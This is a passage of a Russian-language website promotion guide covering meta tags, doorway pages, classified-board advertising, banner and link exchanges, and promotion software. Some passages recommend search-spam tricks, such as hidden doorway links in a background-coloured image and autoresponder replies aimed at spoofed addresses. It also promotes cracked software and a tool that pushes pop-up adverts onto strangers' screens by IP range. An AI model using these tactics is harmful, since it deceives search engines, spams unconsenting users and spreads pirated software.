4. Используйте в описаниях и списке терминов как можно больше синонимов.
5. Не используйте в описаниях и в списке терминов понятия и слова, слабо связанные друг с другом.
Cостав МЕТА-тегов
1) Для того, чтобы при просмотре документа броузер брал свежую версию документа, а не версию из кеша используется
<META HTTP-EQUIV="Expires" Content="Mon, 28 Mar 1999 00:00:01 GMT">
2) Для определения броузером языка, на котором написана страница используется
<META HTTP-EQUIV="Content-Type" Content="text/html; Charset=Windows-1251">
3) Если неопытный Web-мастер скопирует Вашу страницу, в которой оставит следущий тег, то при заходе на эту страницу броузер автоматически перейдет на Вашу страницу
<META HTTP-EQUIV="Refresh" Content="1; url=http://адрес_вашей_страницы">
4) Для указания имени автора и дополнительной информации о нем используется
<META Name="autor" Content="Ваши Ф.И.О., E-Mail…">
5) Для указания авторких прав используется
<META Name="copyright" Content="Ваша_фирма…">
6) Для указания ключевых слов и терминов используется
<META Name="keywords" Content="Ваши_Ключевые слова">
7) Для указания краткого описания используется
<META Name="description" Content="Описание_Вашей_Страницы">
Полагаясь на собственные исследования в этой области, а также на профессиональных разработчиков в этой области мы рекомендуем вам при наличии большого количества страниц создать теги мета-информации с различным содержанием, описывающем содержания данной конкретной страницы или раздела.
Итак, создаем Мета-теги[1]
<font SIZE="-1"><p align="left"><font size="2">&nbsp;<a NAME="1"></a> </font></p>
    <p align="left"><script LANGUAGE="JavaScript">
<!-
var a='"';
var win='11111';
// — >
</script> <a NAME="1"></a> </p>
    <form>
      <div align="center"><center><table bgcolor="#CCCCCC" cellspacing="2" cellpadding="2">
        <tr>
<td colspan="2" align="center"><font color="#CC0000">Необходимо заполнить все поля</font></td>
        </tr>
        <tr>
          <td align="right">Название страницы </td>
          <td><input type="text" name="title" size="30"> </td>
        </tr>
        <tr>
          <td align="right">Автор страницы </td>
          <td><input type="text" name="name" size="30"> </td>
        </tr>
        <tr>
          <td align="right">Электронный адрес </td>
          <td><input type="text" name="email" size="30" value="myname@mysite.ru"> </td>
        </tr>
        <tr>
          <td align="right">Ключевые слова<br>
          <font SIZE="-1">(через запятую)</font> </td>
          <td><input type="text" name="words" size="30"> </td>
        </tr>
        <tr>
          <td align="right" valign="top">Описание страницы </td>
          <td><textarea rows="3" name="co" cols="26"></textarea></td>
        </tr>
        <tr>
          <td colspan="2" align="center"></td>
        </tr>
        <tr>
          <td colspan="2" align="center"><input type="button"
          value="Создать МЕТА-теги"
          onClick="
form.m.value='&lt;TITLE&gt;'+form.title.value+'&lt;/TITLE&gt;'+win+'&lt;META NAME='+a+'author'+a+' CONTENT='+a+ form.name.value +' Email: ' + form.email.value+a+'&gt;&lt;META NAME='+a+'keywords'+a+' CONTENT='+a+form.words.value+a+'&gt; &lt;META NAME='+a+'description'+a+' CONTENT='+a+form.co.value+a+'&gt;'"></td>
        </tr>
        <tr>
          <td colspan="2" align="center"><textarea rows="6" name="m" cols="44">Здесь будет  представлен результат</textarea></td>
        </tr>
      </table>
      </center></div>
    </form>
<p align="center">Остается только скопировать созданный код и вставить его между тегами &lt;HEAD&gt; и &lt;/HEAD&gt; в код вашей странички. </font></p>
    <div align="center"><center><table>
    </table>
    </center></div><div align="center"><center><table border="0" cellpadding="0"
    cellspacing="0" width="100 %" bgcolor="#000000">
      <tr>
        <td></td>
      </tr>
    </table>
    </div>
        <BR><BR><BR>
          <tr>
<td style="border-style: none; border-width: medium">
<p align="center"><b>

Остается только скопировать созданный код и вставить его между тегами <HEAD> и </HEAD> в код вашей странички.

Регистрация сайта в поисковых системах


Это самый распространённый способ раскрутки сайта. Именно регистрация сайта в поисковых системах даёт до 80 % трафика на ваш сайт. И от того, как Вы подойдёте к этому зависит ваш успех (создание META тегов, подбор ключевых слов и др.) ccылки на поисковые системы прямые, сразу на регистрацию.
META.UA — регистрация сайта в поисковой системе Meta.ua
NIGMA.RU — регистрация сайта в поисковой системе Нигма.
GOOGLE.COM — регистрация сайта в поисковой системе Google.
RAMBLER.RU — регистрация сайта в поисковой системе Рамблер
BETA.SEARCH.MSN.COM — регистрация сайта в поисковой системе MSN
YANDEX.RU — регистрация сайта в поисковой системе Яндекс
ALTAVISTA.COM — регистрация сайта в поисковой системе AltaVista
CATALOG.APORT.RU — регистрация сайта в поисковой системе и каталог Апорт
Poisk.Mail.RU — регистрация сайта в поисковой системе и каталог MAIL
Aport.RU — регистрация сайта в поисковой системе и каталог Апорт

Doorway. Дорвей в раскрутке сайта


В одной из предыдущих статей я писал о том, как оптимизировать страницы для поисковых систем. Но, к сожалению, не всегда и не все страницы получается удачно оптимизировать под определенные запросы. В данной статье я опишу еще один способ увеличения посещаемости сайта с поисковиков. Это использование входных страниц (doorway).
Как известно, каждая поисковая система имеет свой алгоритм работы. Добиться того, чтобы к вам на страницу заходило большое колличество посетителей с наиболее известных поисковиков довольно сложно. В одном поисковике ваша страница может выдаваться при поиске на первой странице, в другой на десятой. Что делать, ведь хочется получать максимальную отдачу от каждой поисковой машины, а не только от одной? Помогут в этом дорвеи.
Входные страницы (дорвеи) — это станицы, специально оптимизированные под конкретный поисковый запрос в конкретной поисковой системе. Данных страниц может быть очень много. Для каждого ключевого слова (словосочетания) и поисковика своя страница. Важно вовремя просматривать статистику по данным страницам. Неудачные корректировать или удалять, удачные анализировать и использовать полученный результат при создании новых страниц.
Вот некоторые советы по созданию дорвеев.
Вначале необходимо определиться с ключевым словосочетанием на базе которого вы будете создавать входную страницу. Да, именно словосочетание, а не слово. Дело в том, что по наиболее известным словам и даже словосочетаниям из двух слов существует очень большая конкуренция. Мало известным сайтам я бы посоветовал взять словосочетание из трех-четырех слов в качестве ключевого. Конечно, в этом случае запросов данного словосочетания меньше, но и результат при правильном использовании намного лучше. Так, например, еще неизвестно что лучше — оказаться на четвертой странице поиска при запросе «Путевка в Турцию» или на первой странице при запросе «Путевки на курорты Турции».

С ключевым словосочетанием определились, начинаем создание страницы. Пусть мы выбрали словосочетание «Путевки на курорты Турции». Пишем заголовок (тэг title), совпадающий с данным словосочетанием. Можно добавить другие слова, причем используя некоторые слова из ключевого словосочетания. Главное, чтобы ключевое словосочетание стояло первым в заголовке. Например: «Путевки на курорты Турции — самые дешевые путевки в Турцию».
Вписываем ключевое словосочетание в тэг с ключевыми словами и пишем интересное описание сайта с использованием данного словосочетания.

Теперь о самом содержании входной страницы. Все содержание ее должно быть направлено на один единственный результат — посетитель ее должен зайти на главную или другую страницу вашего сайта (поэтому она и называется входная). Ничего не должно отвлекать посетителя от основной темы. Никаких баннеров и ссылок на другие сайты. Только одна единственная ссылка на ваш сайт. Сам текст страницы должен быть осмысленным и соответствовать теме ключевого словосочетания. Он должен содержать ключевое словосочетание (можно не раз), причем необходимо использовать как прописные, так и заглавные буквы в словах словосочетания.
Самыми первыми словами на странице должно быть ключевое словосочетание. За ним должен идти заголовок c данным словосочетанием и использованием тэга H1. Чтобы не писать два раза подряд одно и то же словосочетание (могут принять за поисковый спам), можно использовать маленькую хитрость. Вместо первого предложения наверху страницы можно поставить картинку, в которой нужно прописать ключевое словосочетание в атрибуте alt. Поисковики учитывают это. Сам текст не должен быть слишком большим 200–300 слов.

Теперь о регистрации данных страниц в поисковых системах. Не следует отдельно регистрировать данные страницы в поисковиках, т. к. страницы не имеющие ссылок на себя, низко котируются в них. Необходимо установить ссылки на главную страницу вашего сайта, чтобы при очередной ее переиндексации заодно проиндексировались и дорвеи. Но проблема состоит в том, что дорвеи предназначены не для посетителей, а для поисковиков, и желательно, чтобы посетители не заходили на них с самого сайта. Т. о. необходимо сделать так, чтобы посетители просто не увидели данные ссылки. Но ни в коем случае не пишите ссылки под цвет фона (поисковый спам — можете быть наказаны). Эту проблему можно решить следующим способом. Вставляете в страницу (лучше в конец) маленький рисунок без рамки под цвет вашего фона, и оформляете ее как ссылку на дорвей. Поисковик не может определить что изображено на рисунке, а поэтому и не примет это за спам (хотя это поисковый спам также).
Хочу вас предупредить, что данный метод увеличения посещаемости и некоторые описанные способы его воплощения некоторыми поисковиками считаются за поисковый спам. Хотя если посудить, то каждая страница сайта может быть своеобразным дорвеем. Вы вправе сами решать использовать ли описанные методы или нет.



Доски объявлений. Раскрутка сайта с помощью досок объявлений


Чем хороши доски объявлений для раскрутки?
1. Они бесплатны.
2. Их много.
3. Ваше объявление может храниться достаточно долго.
4. Ваше объявление проиндексируется поисковой системой, что повышает вероятность нахождения вашего сайта вашим потенциальным клиентом через запрос в поисковую систему.
5. Повышается индекс цитирования (от Яндекса) вашего сайта при хранении на различных досках вашей гиперссылки. А индекс цитирования — это, во-первых, вес вашего сайта в Интернете; во-вторых — гарант удержания посещаемости вашего сайта — ведь пока на ваш сайт в Интернете кто-то ссылается, высока вероятность, что по этой ссылке кто-то зайдет на ваш сайт (и не раз).
Недостатки досок объявлений:
1. Текучесть информации — ваше объявление будет «свежим» лишь непродолжительное время.
2. Малая живучесть многих досок объявлений.
3. Низкая откликаемость на ваши объявления.
4. Отличие правил и форм размещения объявлений на разных досках — трудно унифицировать форму подачи объявления. Перед заполнением форм тех или иных досок приходится тратить драгоценное время на раздумывание, на приспособление к условиям конкретной доски.
5. Охота спаммеров на ваш e-mail.
Как справляться с этими проблемами?
Текучесть информации
Чтобы ваше объявление всегда было свежим, необходимо почаще его размещать. Но, конечно, нужно знать меру и не размещать объявление слишком часто. Если два ваших одинаковых объявления будут находиться на одной странице доски объявлений, считайте, что одно из них лишнее. Даже если оно будет размещено на разных страницах доски объявлений, но если слишком часто будет попадаться одному и тому же посетителю доски объявлений, то можете считать, что этот посетитель видел его всего один раз — он не будет на одно и то же объявление реагировать более одного раза. При этом берегитесь гнева модератора доски — он может принять слишком часто повторяющееся ваше объявление за спам, может удалить все ваши объявления, а может и закрыть вам доступ к данной доске объявлений.
Самый оптимальный срок для повторного размещения на средней доске объявлений — это неделя.
Есть, конечно, доски, на которых в сутки размещается несколько сотен объявлений. На такие доски можете спокойно размещать хоть несколько своих объявлений в день — они очень легко в них затеряются.
Можете использовать другую тактику — размещать свои объявления чаще, чем нужно, но очень виртуозно менять текст объявления. Например, разместить сначала такое объявление: «Приглашаем в свой бизнес. Подробности по адресу:…». Затем следующее объявление: «Устали от работы? Отдохните в бизнесе…». Третье объявление: «Бесплатно обучаем бизнесу. Записаться можно по адресу:…». И так далее.
Малая живучесть многих досок объявлений
Есть и такая проблема. Посмотрите на известные каталоги досок объявлений — во многих из них более половины представленных досок объявлений уже не существует. Но зато появляется великое множество новых досок объявлений (найти их — вот задача!). Если у вас не так много времени на поиск новых досок объявлений, пользуйтесь самыми известными и крупными досками — такие доски живут очень долго!
Низкая откликаемость на ваши объявления
Как бы нам ни хотелось, чтобы на одно свое объявление мы получили бы хотя бы один отклик — такое практически не случается. Я взяла наугад одну доску объявлений, посвященную работе — раздел «Вакансии» на {http://www.km.ru/job/} и проанализировала откликаемость объявлений одной фирмы — Компании по подбору персонала «АГЕНТСТВО КОНТАКТ» — {http://www.kontakt.ru/}. 23 января 2002 года на данной доске было размещено около 70 объявлений данного агентства. Каков же был отклик на эти объявления (я не беру случаи, когда заинтересованное лицо отправило письмо на e-mail, указанный в объявлении, не заходя на сам сайт агентства)? По статистике Рейтинга@mail.ru, в тот день на сайт агентства с данной доски объявлений зашло 10 посетителей, то есть один отклик на 7 объявлений. Очень мало. Если вы вводите свои объявления вручную, то для получения отклика в 10 заходов на ваш сайт вам потребуется потратить на размещение объявлений в Интернете не менее часа.
Выход здесь — в приобретении специальной программы по размещению вашего объявления на досках объявлений. В этом случае вы сможете за короткий промежуток времени разместить свое объявление на нескольких сотнях досок. Я знаю одну неплохую программу по автоматическому размещению объявлений на досках объявлений — это EspAnadir Clasific Pro RE (и упрощенная версия EspAnadir Clasific RE). В настоящее время эта программа позволяет размещать ваши объявления на 1450 досок объявлений, а первая из представленных версий дополнительно содержит так называемый Мастер по добавлению досок — вы можете самостоятельно вносить в базу данных программы найденные вами доски и с помощью программы размещать свои объявления и на этих досках тоже.
Адрес сайта, где вы можете познакомиться с данной программой и купить ее — {http://www.espanadir.com/clasificrus/}. Стоимость программы EspAnadir Clasific Pro RE — 1500 рублей ($50)
Стоимость программы EspAnadir Clasific RE — 900 рублей ($30).
А это адрес сайта, где вы можете познакомиться с данной программой и скачать ее бесплатную версию
Но заранее предупреждаю тех, у кого нет своего сайта. Вам придется как-то выкручиваться, ведь данная программа пытается решить четвертый недостаток досок объявлений — отсутствие единого стандарта формы подачи объявлений — и применяет универсальную форму подачи объявления, что подразумевает заполнение максимального количества запрашиваемой информации о вас, вашем объявлении и вашем сайте. (То есть, хотя у вас и нет своего сайта, какой-то URL вам нужно будет указать.)
Охота спаммеров на ваш e-mail
Спаммеры — это постоянная наша проблема, которую надо обязательно решать.
Почему-то многие читатели до сих пор спрашивают меня, что же такое спам (наверное, они еще не сталкивались еще с таким явлением). Спам — это когда на ваш e-mail приходят письма с рекламными объявлениями/предложениями, о которым вы никого не просили. Представьте, что изо дня в день на ваш ящик приходит десяток рекламных писем, которые воруют ваши деньги (если доступ к Интернету у вас не бесплатный) и раздражают вашу нервную систему.
Спаммеры охотятся на каждый адрес, выставленный в Интернете, а тем более — на адреса e-mail, которые вы оставляете на доске объявлений вместе со своим объявлением. Причем, ваш e-mail попадает в поле зрения не только профессиональных спаммеров, которые собирают специальные базы данных адресов e-mail, но и менее опасных, но тоже весьма надоедливых представителей разного рода бизнеса в сети, которые очень хотят познакомить вас со своим проектом и пишут вам невинно-оправдательные письма, начиная их строками: «Мы осмелились вас побеспокоить своим письмом, так как вы открыто выставили ваш e-mail на просторах Интернета». Такие бизнесмены менее опасны, чем профессиональные спаммеры, они обычно довольствуются одним письмом в ваш адрес, но таких «доброжелателей» тоже достаточно большое количество. И чем активнее вы будете рекламироваться на досках объявлений, тем большее количество спаммеров разного рода начнет отравлять вам жизнь. И даже если вы вдруг перестанете давать объявления на досках объявлений, поток спаммерских писем никогда не иссякнет. Ваш e-mail профессиональные спаммеры будут продавать и перепродавать другим своим коллегам-профессионалам.
Конечно, вы можете дать свое объявление на доске объявлений, не указывая вашего e-mail. Но при этом вы лишитесь большой части своих потенциальных клиентов (если вы занимаетесь не просто раскруткой сайта, но и ведением бизнеса как такового). Не все пользователи Интернета, особенно те, которые зашли на доску объявление с целью поиска интересного объявления, любят заходить на рекламируемые ссылки, им проще просто написать письмо. Поэтому e-mail желательно указать.
Так как же быть? Как сделать так, чтобы не потерять часть ваших клиентов и не нарваться на профессиональный (и малопрофессиональный) спам? Вы можете открыть дополнительный e-mail адрес на бесплатном сервере, например, @mail.ru. Чтобы не нервничать при появлении каждого письма спаммера, можно хранить письма-отклики на объявления прямо на сервере @mail.ru, а затем просматривать их в спокойной обстановке, сразу удаляя явно подозрительные письма. Но у этого метода свой недостаток — спаммеру удастся все-таки обратить на себя ваше внимание, и вы будете терять драгоценное время, разбирая завалы писем, разыскивая в них ценные письма ваших потенциальных клиентов.
Я поступила немного по-другому. Я решила обратить спам себе на пользу.
Что я сделала? Я открыла e-mail адрес reklama1@getresponse.com на американском автореспондере GetResponse.com. GetResponse.com — это замечательный бесплатный сервис, возможно, о нем я вам расскажу подробнее в следующих выпусках. Как действует автореспондер? На вышеуказанном американском сервере, в свой личный e-mail reklama1@getresponse.com я заношу свою рекламную информацию — я в ней рекламирую свои два сайта Домашний бизнес и Как сделать бизнес в Интернете и свой бизнес Интерсетевой бизнес. Если кто-то отправит по этому адресу письмо (спам или просто заинтересованный запрос), то тут же получит ответ с автореспондера с моей рекламой. При этом я никаких писем получать не буду — всю черную работу будет выполнять автореспондер.
Здесь могут возникнуть несколько вариантов:
а) На мое объявление на доске объявлений откликнется заинтересованный человек (не спаммер). Он либо зайдет на мой сайт, либо отправит письмо на автореспондер. И тут же получит подробное письмо и о моих сайтах (которые я и рекламирую с помощью досок объявлений), и о моем проекте (который я так же продвигаю с помощью досок объявлений). Если он заинтересуется моей информацией, он зайдет на мой сайт за более подробной информацией. Если не заинтересуется — так и бог с ним. б) Мой e-mail попадется на глаза спаммеру-непрофессионалу, то есть человеку, который не хочет иметь репутацию спаммера, но очень хочет познакомить всех вокруг со своим предложением (то есть такой автор обычно посылает письма с реального адреса e-mail и обычно ограничивается одним письмом в мой адрес). В этом случае на свою рекламную информацию данный спаммер-непрофессионал получит от меня аналогичное же рекламное письмо. Мы будем квиты. Он захотел познакомить меня со своим проектом — я в ответ знакомлю его со своим проектом. Его усилия не пропадут зря.
в) Мой e-mail попадет в базу данных спаммера-профессионала. Обычно такие профессионалы забрасывают вас массированной рекламой, причем умеют так управлять почтовыми настройками, что в поле «From:…» заголовка письма указан чужой e-mail, возможно, адресата, не имеющего никакого отношения к спаму. В этом случае мое рекламное письмо с автореспондера попадет именно адресату, чей адрес спаммер вставил в поле «From:…». На этот случай в свое рекламное письмо я вставила вежливую первую строку: «Вы получили это письмо, так как Вы откликнулись на одно из моих объявлений, размещенное на доске бесплатных объявлений», заранее оградив себя от возможный претензий.
г) На некоторых досках объявлений действуют так называемые роботы-информаторы (название мое, так как я не знаю, как они на самом деле называются). Эти роботы автоматически будут вас извещать о том, что ваше объявление размещено, либо срок хранения вашего объявления уже истек. В этом случае ничего страшного, если робот получит в ответ на свою информацию мое рекламное письмо — пусть воспримет его как взаимно вежливую реакцию на свое сообщение.
Итак, стоит ли использовать доски объявлений для раскрутки сайта?
Если у вас есть свободное время, то, конечно, стоит. Каков бы ни был трудоемким процесс по занесению объявлений на доски объявлений, он даст положительный результат.
Если у вас нет свободного времени, а ваш сайт имеет посещаемость свыше 1500 хостов в день, то, я думаю, можно обойтись и без досок объявлений. С такой посещаемостью гораздо больший эффект дадут обмен ссылками с помощью {Clickexchange.ru}, баннерный обмен, посещения с каталогов и рейтингов.
Но если у вас есть лишние 900 (1500) рублей и вы активно раскручиваете свой сайт — то не пожалейте ваших денег на приобретение программы по автоматическому размещению объявлений на досках объявлений. Грамотное использование этой программы позволит вам увеличить посещаемость вашего сайта примерно на 100 и более посетителей в день. А также увеличит ваш индекс цитирования и повысит вероятность нахождения вашего сайта поисковыми машинами — что, в свою очередь, еще более улучшит ваш результат!

Сервисы по бесплатной регистрации сайта


www.interhit.ru — Регистрация Вашего сайта в 300 каталогах Рунета. Бесплатная автоматическая регистрация вашего сайта в 300 каталогах.
www.site-submit.ru — Бесплатная полуавтоматическая регистрация одного вашего сайта в более 1400 каталогов. Начиная с второго сайта регистрация платная.

Сервисы по платной регистрации сайта


www.Reggun.ru — Количество каталогов более 4060
Время необходимое для заполнения формы 10–15 минут
Время регистрации в каталогах до 3 дней
Стоимось регистрации 1$ или 26 руб.
www.Autoreg.ru — Количество каталогов более 3800
Время необходимое для заполнения формы 15–20 минут
Время регистрации в каталогах до 3 дней
Стоимось регистрации 5$
www.1ps.ru Количество каталогов более 3000
Время необходимое для заполнения формы 15–20 минут
Время регистрации в каталогах до 3 дней
Стоимось регистрации 300-2400 руб
www.Fastreg.ru Количество каталогов более 2700
Время необходимое для заполнения формы 15–20 минут
Время регистрации в каталогах до 3 дней
Стоимось регистрации 4–9 $
www.Alfainternet.ru Количество каталогов более 4030
Время необходимое для заполнения формы 20–30 минут
Время регистрации в каталогах до 7 дней
Стоимось регистрации 0 — 20$

SEO-форумы


Forum.searchengines.Ru Крупнейший в Рунете форум SEO-специалистов. Статьи, новости, блоги, обсуждения.  
Promoforum.Ru SEO форум  
Talk.Ya-Ca.Ru SEO форум 
Mastertalk.Ru Второй после серча SEO-форум в Рунете 
Natroix.Ru — Форум веселых SEOшников, оптимизация встреч, продвижение фотоотчетов.

Ресурсы по продвижению сайтов


В сети существует масса ресурсов по продвижению сайтов. Приведем здесь основные, наиболее ценные на наш взгляд:
SEARCHENGINES.RU — крупнейший в рунете сайт по оптимизации
FORUM.SEARCHENGINES.RU — место, где общаются оптимизаторы, как профессионалы так и новички
OPTIMIZATION.RU — архив рассылок компании Ашманов и партнеры, базовый курс поисковой оптимизации. Самая лучшая рассылка на тему seo, здесь вы найдете самые последние новости, статьи и т. д.
SEMINAR.SEARCHENGINES.RU — сборник материалов по теме seo. Сборник платный, но цена невысокая, очень хорошая подборка материалов

Сервисы обмена ссылками


LINKS.OBGON.RU Сайты, которые дали согласие на обмен ссылками с любыми сайтами около 1200 сайтов.
LINKS.VIPKAT.RU Большой каталог предложений об обмене ссылками. 
ADDWEB.RU Обмен ссылками — предложения веб мастеров
ENTERLINK.RU Каталог обмена ссылками. 
ALMOST.RU сервис по обмену ссылками.

Баннерные системы


Уже говорилось о том, что часто для раскрутки используется метод обмена ссылками между сайтами. Это значит, что Вы на сайте располагаете мини-баннер (обычно 88х31 пиксель), который ссылается на дружественный сайт. А на том сайте также располагается другой баннер ссылающийся уже на Ваш сайт. Таким образом Ваши посетители могут зайти на дружественный сайт, а посетители того сайта к Вам на сайт.
Подобную задачу также выполняют баннерные системы. Они обьединяют множество разнообразных сайтов и автоматизируют показ баннеров на страничках сайтов-участников.
Работа осуществляется по такому принципу:
Вы помещаете у себя на страницах сайта код для автоматической загрузки рекламного баннера. Когда на эти страницы заходит посетитель, то на них загружается случайный баннер, рекламирующий какой-нибудь сайт. Каждая баннерная система ведет статистику кто сколько показал чужих баннеров. Это количество записывается на Ваш счет в баннерной системе. Затем Вы можете показать свои баннеры на других сайтах столько раз, сколько есть на Вашем счету. Баннерная система берет с Вас за свою работу какой-то процент от количества показанных баннеров на Вашем сайте. Обычно 10–30 %, но может и больше, все зависит от конкретной баннерной системы. Теперь давайте поговорим немного о баннерах. Баннер — это прямоугольная картинка, которая является ссылкой на рекламируемый сайт. Часто баннеры анимированные, т. е. содержимое картинки меняется. Главная задача баннера — заинтересовать посетителя. Если нажать на баннер, то мы попадем на рекламируемый сайт. То есть важно привести посетителя на Ваш сайт. Баннеры имеют различные размеры, но самые ходовые 468х60, 100х100, 120х60.
В зависимости от баннерной системы Вы можете распоряжаться накопленными баннерами как угодно:
Показать свои баннеры на других сайтах;
Продать баннеры;
Обменять на что-нибудь (товары, например).
Как Вы понимаете для каждого сайта важна посещаемость, что определяет его популярность. Хорошей посещаемости можно достичь используя кроме других методов раскрутки баннерную рекламу. Баннерная реклама предполагает наличие этих самых баннеров. Поэтому их можно называть живыми деньгами интернета.
Так как в системе обмена баннерами участвуют сайты самых разных тематик, то естественно, что показ Ваших баннеров может быть не эффективен на сайтах определенной тематики. Например, если у Вас серьезный сайт, то не стоит его рекламировать на сайтах, посвященных развлечениям. И поэтому многие баннерные системы позволяют выбирать, где показывать Ваши баннеры либо какого типа баннеры подходят для показа на Вашем сайте. Есть и другие настройки в баннерных системах.
Cписок баннерных сетей
Ping
Echo
Украинская баннерная (UBN)
Ушки
4Click
ABN
SLE
List Banner Exchange
ИнтерРеклама
Info Link Exchange
TBN.ru
RLE Banner Network

Статистика поисковых слов


direct.yandex Популярность ключевых слов на яндексе
adstat.rambler Популярность ключевых слов на рамблере
adwords.google Популярность ключевых слов на гогле
stat.go.mail Популярность ключевых слов на mаиле

Рекламодатели


IPweb.ru — раскрутка сайтов
Особености:
1. 1000 уникальных посетителей — 2.95$.
2. 100 % гарантия качества посещений, Вы можете бесплатно установить контрольный спот системы. 3. Легальные рекламные рассылки по внутренней почте системы — от 3.5$ за 1000 писем, есть режим с обязательным переходом на сайт рекламодателя.
Вы получите все возможности по управлению любыми параметрами рекламной кампании, подробную статистику, гарантию при установке спота системы на сайт. Для регистрации, настройки и оплаты рекламной кампании достаточно 5-10 минут, и уже через 5-10 минут Ваша рекламная кампания начнет работать, и вместе с ростом посещаемости будет расти популярность Вашего сайта.
VipIP.ru — раскрутка сайтов
Особености:
1. 1000 уникальных посетителей — 4$. При бонусе 66 % — 1000 посетителей обойдутся всего за 2.4$.
2. Надежная система защиты от накруток.
3. Реализован огромный спектр таргетинговых настроек, который позволит Вам показывать Вашу ссылку в нужных городах, в нужное время и в нужные дни недели.
4. Для клиентов рекламирующих у нас большой объём сайтов, предусмотрена система кредитования, что позволит не останавливать рекламу на момент пополнения баланса.
NeoSap.ru — раскрутка сайтов
Особености:
1. 1000–4000 уникальных посетителей — 4.50$
5000–9000 уникальных посетителей — 4.00$
10000 — 29000 уникальных посетителей — 3.50$
30 000 уникальных посетителей — 3.33$
2. Гарантированные визиты со всеми возможностями гибкой настройки таргетинга и предоставлением полного отчета о проведенной работе.

Определение тИЦ, WR и PR вашего сайта


LINKCLUB.RU — Определение PR многих страниц сайта.
PR-CY.RU — Система для определения тИЦ, WR и PR вашего сайта. Сервис объединяет в себе несколько функций: Google ToolBar, «Денежка» Яндекса и Webalta WR.
PAGERANK.ADTEXSTS.COM Сервис позволяет проверить рейтинг страницы в поисковых системах Google (Google PageRank или PR) и Яндекс (тИЦ — тематический индекс цитирования), а также посмотреть списки проиндексированных страниц вашего сайта и списки ссылающихся страниц в каждой из поисковых систем.
LINKEXCHANGER.RU — Проверить тиц, проверить pr. Узнайте прогноз по Вашему будущему Page Rank и еще много полезного.
YACY.RU — Определение PR,Тиц для одного или многих страниц сайта.
R-CAT.INFO — Массовое определение Яндекс тИЦ и Google PR
PAGERANKTOOL.NET — англоязычный сервис для определения Google PR для страниц сайтов.

Бесплатные программы для раскрутки сайта


Pantera 2.07 Size: 1.25 MB, Rus,+ крек. Обновилась Pantera — программа для автоматического размещения объявления на 475 российских досок объявлений и 4500 каталогах и разделах. Всего за 5-20 минут о вас узнают во всей стране. Специально подобранные рубрики помогут вам наиболее точно определить нужную тему размещаемой информации. Это позволит показать вашу информацию именно целевой аудитории. Все что вам нужно сделать, это заполнить необходимые поля информацией, выбрать тематику, а всё остальное программа сделает за Вас. Практически все крупные русскоязычные сервера, имеющие доски объявлений входят в базу программы. В этой версии полностью переписан код программы, убрано ограничение на размер посылаемой информации (ограничивается только условиями досок), обновлена вся база досок Pantera (в том числе убраны неработающие), улучшен алгоритм анализа размещения на доски (позволяет обходить многие защиты серверов), уменьшилось время размещения каждого объявления.
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Board Master Pro22 (Size: 1 MB, Rus,+крек) Русская программа для авто размещения рекламных объявлений на электронных досках в Интернет. BoardMaster очень удобна в эксплуатации. Да, и что совсем уникально работает обновление баз с сайта написавшего эту программу. BoardMaster Pro 2.2 (свежая база на 450 досок, 5000 разделов) Программа размещает информацию в автоматическом режиме более чем на 450 досок объявлений. Практически все крупные русскоязычные сервера, имеющие доски объявлений входят в базу. Детальная структура каталога разделов позволяет максимально точно позиционировать тематику размещения объявлений. Есть возможность отправлять объявление в несколько разделов одновременно. Простой и эффективный интерфейс позволит в короткие сроки освоить работу с программой. Предоставляется детальная статистика и возможность просматривать ответы серверов для контроля за размещением. Позволяет самостоятельно добавлять доски объявлений. Визуальный конструктор обеспечивает простоту работы и не требует специфических знаний. Встроенные технологии распознавания форм и разделов намного ускоряют добавление новых ресурсов.
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DiZsubmit (Size: 1.1 MB, Rus, Free) Программа для автоматической регистрации в каталогах и рейтингах. Простенько и со вкусом.
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EspAnadir Clasific Pro (Size: 1.7 MB, Rus, +крек) Программа предназначена для регистрации объявлений на Интернет-досках. База данных программы содержит более 1800 русскоязычных досок объявлений.
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Forum Sender (Size: 1MB, Rus, Free) программа автоматического размещения объявлений на форумах.


[image: ]


IF Boards 7.0 (Size: 1.1 MB, Rus, +крек) С помощью IFBoards программы автоматической рассылки объявлений в доски. Программа размещает объявления в автоматическом режиме на более чем 200 серверов (около 2000 разделов). Возможность добавления досок. Возможность проверки все базы досок на отклик домена
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Page Promoter v.7.2 (Size: 11.МB, Rus +крек) комплекс для раскрутки сайта на тысячах поисковых машин и каталогов, который выполняет все задачи планирования продвижения, анализа и мониторинга, а также непосредственно работ по поисковому продвижению сайта.
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ПРОГРАММА «IP2IP» (Size:1 MB, Rus, Free) ПРОГРАММА «IP2IP» — НОВЕЙШИЙ И САМЫЙ ПРОГРЕССИВНЫЙ СПОСОБ РЕКЛАМЫ! IP2IP Software это законный способ разместить свое рекламное предложение. Без СПАМА и E-mail рассылок Теперь, Вы сможете сделать это самостоятельно. IP2IP Software, это оригинальная рекламная программа, предназначенная, чтобы доставить Ваши сообщения до Ваших потенциальных клиентов, используя доступную и законную технологию. IP2IP Software использует встроенную технологию компании Microsoft, чтобы доставить Ваше сообщение. Получателю рекламы нет необходимости использовать программы email клиента, так же, как и web интерфейс. После того, как Вы начинаете размещать рекламу, получатели рекламы начнут наблюдать ее на экране своего монитора. Реклама будет отображена поверх всех открытых окон приложений Windows и получатель ознакомится с ней хотя бы для того, чтобы закрыть ее. IP2IP Software идет с большой встроенной базой диапазонов РУССКИХ IP адресов, которым Вы можете посылать ваше рекламное сообщение.
Как IP2IP Software работает? Для отправки сообщений, IP Software использует Microsoft технологию, которая является составной частью Windows и установлена по умолчанию в Windows 2000/NT/XP. Для возможности получать сообщение, получатель не должен иметь никакого, дополнительного установленного, Софта.
IP2IP Software — главные особенности
— Легко отправляет 600 сообщений в минуту.
— Немедленная доставка сообщения.
— Сообщения появляются на экране монитора пользователя выше всех окон приложений Windows и требуют мгновенного внимания.
— Отклик на IP рекламу очень высок.

WebTrafficGuru 3.8 Rus (Size: 1.96 MB, Rus, +крек) Отличная программа, позоляющая зарегистрировать Ваш сайт в более чем 500 русских и в более чем 1000 зарубежных каталогах и поисковиках за 15–20 минут. В программе есть неколько дополнительных полезных утилит: Meta tag generator, Проверка ссылок, Поиск, Популярность в поисковых системах

Рассылка Вашего объявления на гостевые книги narod.ru (Size:636 KB, Rus, Free) — С этой программой вы можете повысить посещаемость своего сайта на долгое время. Эта программа автоматически разместит вашу рекламу на очень многих страницах хостинга narod.ru

